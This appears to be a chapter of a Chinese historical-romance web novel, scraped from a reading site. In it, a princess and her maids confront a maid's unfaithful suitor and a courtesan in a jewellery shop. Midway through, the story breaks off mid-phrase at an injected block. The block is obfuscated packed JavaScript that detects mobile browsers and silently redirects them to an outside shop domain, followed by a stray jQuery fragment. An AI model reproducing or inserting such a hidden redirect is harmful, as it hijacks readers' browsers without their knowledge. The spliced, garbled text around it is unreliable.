次日,暖暖一早起来准备出门,却见冰绡依旧一身黑色侍卫装束,不由得皱了皱眉头,说道:“冰绡,咱们是去游玩,你这身衣服太惹眼了,去换一身衣服。还有,把剑也收起来,带着武器反而容易招来不必要的麻烦。”
冰绡不能抗命,只得回屋换了身侍女的衣服,虽放下了剑,但是全身上下藏满了暗器。
还未到祥记银楼,车架中突然被抛进一节树枝,树枝上绑着一卷纸片,真是好身手,马车速度不慢,且周围有护卫,竟然还能将树枝抛进来。
暖暖打开,上面是炭笔写的字迹:郡主就此下车。
叫停车架,透过车窗环顾四周,发现了季萧的身影,一身粗布短衣装扮,坐在小摊上吃着面。她心中哑然:看热闹不嫌事大,还这般神神秘秘的。
画眉问道:“郡主,有事吗?还没到呢。”
“今日天气好,我下来走走,让马车先回去。”
主仆四人步行前去,但一转身就不见了冰绡,舒雁要去找她,被暖暖制止了:“她是侍卫出身,自会有她的一套规则。”
大约是刚刚开门,祥记银楼里还没有顾客,店家娘子一看三人衣着不凡,便知是大客户,立即喜上眉梢,笑着迎接:“我说怎么那后院里树枝上有喜鹊叫了一早,原来今日是有贵客临门,这位小姐想看看什么首饰?”
“拿几支簪钗来看看。”
“好,小姐请到东阁喝口茶。”
店家娘子忙吩咐人上茶,她则亲自去挑了几支簪钗,放在用暗红色丝绸包裹的托盘里端到了暖暖跟前。
暖暖每拿起一支,店家娘子便介绍一番,她能说会道,多是恭维之词,暖暖却不愿听:“娘子去忙吧,我还需好好看看。”
“无妨,姑娘看着眼生,恕我眼拙,不知是哪家贵人府上的?今日天气好,姑娘多逛逛。一会姑娘选好了,我自会为姑娘送上府去。”
“不必劳烦娘子,我选好了便直接带走了,再帮我拿几只手镯来。”
那店家娘子还未套出她的来路,岂能善罢甘休,若真是攀上了哪个世家,以后的买卖自然好做些。
于是,她痛快地又去拿了几支手镯。
暖暖将簪子在发间一一比过,然后再递给舒雁与画眉二人试簪,手镯端来,三人依旧不紧不慢地试戴。
过了约摸半个时辰,首饰已经换了两盘,她依旧没有挑完的意思,店家娘子脸笑道都快笑僵了,但依旧小心地陪着。
终于,外间传来一个女子的声音:“这只发钗可好看?”
紧接着是一男子的声音:“好看,但是这支更称莲娘你的容颜。”
“呸,净会挑些便宜点来打发我,这支花里胡哨的,有什么好看。”
画眉听见这声音,愣了一下,透过木架格子做的隔断,看见了一个熟悉的背影,瞬间变得脸色苍白,欲抬步出去。
舒雁拉住她,眉头微蹙给了她责备的眼神,示意她郡主还咋不得失礼,又暗中用胳膊碰了一下郡主的肩头。
暖暖看了二人的动作,顺着她们的目光也看到了一男一女二人。
“外面这么吵?他们是谁?”暖暖不悦地看向店家娘子。
店家娘子向外看一眼,眼神中带上了鄙夷的神色,小声道:“女子是杨楼街莲娘,不知今日又匡了那里的小哥来买首饰。”
暖暖不解:“杨楼街是哪里?”
“诶呦,瞧我,失言了,小姐莫要问了,恐污了小姐的耳朵。”
暖暖当下也明白了几分,便不再细问。
舒雁一手拉着画眉,一边悄悄对暖暖说道:“那男子是阮孝。”
暖暖很是惊讶,原来这就是季萧的安排,她看向画眉,画眉眼睛里充斥着愤怒,一时间,暖暖竟不知如何处理。
她正在思考间,画眉挣脱了舒雁的手,快步出去,将莲娘推到一边,又转身给了阮孝一记响亮的耳光。指着阮孝,浑身气得直哆嗦,说道:“你……你……竟和这样不三不四的人在一起……”
那莲娘也不是善茬,顺势倒在地上,大叫起来:“你是何人,光天化日之下竟敢动手,打人了,打人了……”说着也不给人
此时,街上的人也多了起来,门口很快就围满了人,暖暖不便出面,对舒雁耳语了几句。
舒雁对店家娘子说道:“先将店门关了。”
店家娘子有些为难:“这……这……我这还要做生意呢。”。
“今日我家小姐保你不亏本,若不关了,以后的生意也别想做了。”舒雁的语气虽温和,但却透着不容分辨的气势。
店家娘子隐约感觉到了眼前之人的权势,便行了一礼,快速地命人打发了门口看热闹的人,又虚掩上了店门。
那莲娘却不依不饶:“你们这是干什么?没有王法了吗?”
舒雁出去呵斥道:“休得无礼,惊扰了贵人。”
阮孝定睛一看,原是舒雁,又听到她这样说,便猜到了里间是谁,他吓得冷汗直流,立即朝东叩拜道:“不知贵人在此,惊扰了贵人。”
莲娘却不以为意,撒泼道:“贵人又怎样?贵人就能打人了?我与我郎君来买首饰,怎么就惹到你们了?我要去京兆尹处告你们。”
一听“郎君”二字,画眉便又忍不住上前想去打她,却被舒雁死死地拉住,怒视了她一眼,画眉委屈地哭起来。
暖暖本来只想让画眉看到阮孝的面目,断了念想也就罢了,不想画眉直接动了手,弄出这么大动静来,现下只得再想想如何收场,她在里间开口:“你就是阮孝?”
“是,小的就是。”阮孝颤抖地说道。
“今日的事,你有什么解释的吗?”
阮孝毫不犹豫地指着莲娘说道:“是她……是她勾引我,给我下了套,逼我的。”
暖暖心中叹了口气,原来这个人不仅品行不端,还没有担当。
“放你娘的屁!你还算个男人吗?这些日子吃我的,用我的。你说你妹妹给了你银钱便还我,如今买件首饰还要挑便宜的……”
舒雁见她言行粗鄙,呵斥道:“住嘴,这里不是你撒野的地方。”
“呦,这位姑娘是府尹还是少卿?管得可真够宽的,你管得了那个小蹄子却管不了我。喂,我说你呢!你打了我你哭什么?”莲娘说着爬起身来,一手叉着腰板一手指着画眉。
见此情此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223438|149415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
景,暖暖开口道:“这位姑娘,这就是要还你银钱的人!今日,是我对婢女管教不严,回去后我定好好责罚。姑娘方才挑的簪子就当是给姑娘赔罪了,姑娘要没有别的事,就请先回去,我这里还有些家事要处理。”
莲娘难掩笑容,立即拿起刚才看上的簪子插在头上,鄙夷地看一眼阮孝,又说道:“他欠我的钱还没还呢?”
此时的阮孝只是战战兢兢地伏首在地,不敢说一句话。
暖暖说道:“冤有头,债有主,这钱你还需跟他本人交涉。”
听闻此言,莲娘如得到许可一般,用力将阮孝推倒在地,从他怀中掏出荷包,掂了掂说道:“连本带息。”说完笑意盈盈地出门去了。
因店家娘子和店里伙计在场,暖暖不便多说,只说道:“阮孝,我已知道是何缘故,我不为难你,但以后你不能留在这里,今日就离开京城。”
阮孝早已吓出了一身冷汗,一听贵人竟然放过了自己,连声道:“谢……贵人、谢贵人……”
“还不快走。”舒雁催促他。
阮孝又扣来几首,连滚带爬地逃出店去,期间没看画眉一眼。
这一场闹剧终于结束了,店里的伙计重新打开了店门,阳光照进来,将阴霾一扫而光。
舒雁拉着哭哭啼啼的画眉进了里间,将她按在地上,给郡主赔罪。
暖暖的眸子因这荒唐事染上了几分愠怒,她低着嗓音说道:“有什么好哭的?看来的确是我平日里太纵着你了。”
画眉心中害怕,止住了哭泣,但依旧默默地掉着眼泪。
“起来吧,这里不是说这些的地方,回家。”暖暖起身欲离开。
经此一出,店家娘子也隐约猜到了来人身份不凡,便端了一壶好茶进来,只字不提方才之事,只陪笑道:“姑娘,这些簪子可有中意的?”
暖暖随手拿了四支簪子交给店家娘子。
店家娘子拿出手帕垫着手接过簪子,笑道:“小姐少待,我去替小姐包起来。”很快,她又进来了,簪子已经装进了精致的木盒中,笑道:“一共八十两。”
舒雁面露难色,凑到郡主跟前小声说道:“咱们没带这么多。”
真是尴尬,暖暖面色一阵青白,厉声说道:“回去拿!”
从未见过郡主如此动怒,舒雁听了心头一颤,她进退两难,想回去但又担心郡主的安危,小心说道:“小……小姐同奴婢一道回去,再遣人送银钱来。”
店家娘子怕她们跑路,忙说道:“怎敢劳烦姑娘再送一趟,我这就派人送小姐回去。”
暖暖心中有气,冷冷地说道:“娘子放心,我将我自己押在这里,舒雁还愣着做什么,快去!”
舒雁只得出去找季萧帮忙。
画眉依旧在默默地流泪,暖暖看着心烦,喝了一口茶说道:“何苦为这样的人哭泣,也不必委屈,不就是失了些银钱嘛,权当丢了,权当买教训了。”
暖暖不仅气画眉识人不清,也气自己不听劝谏,舒雁与叶皓早就已说明这阮孝不可靠,她却未能及时制止画眉。
不多时外面传来一个熟悉的声音:“珍娘子,我上次送来的珠钗修好了吗?”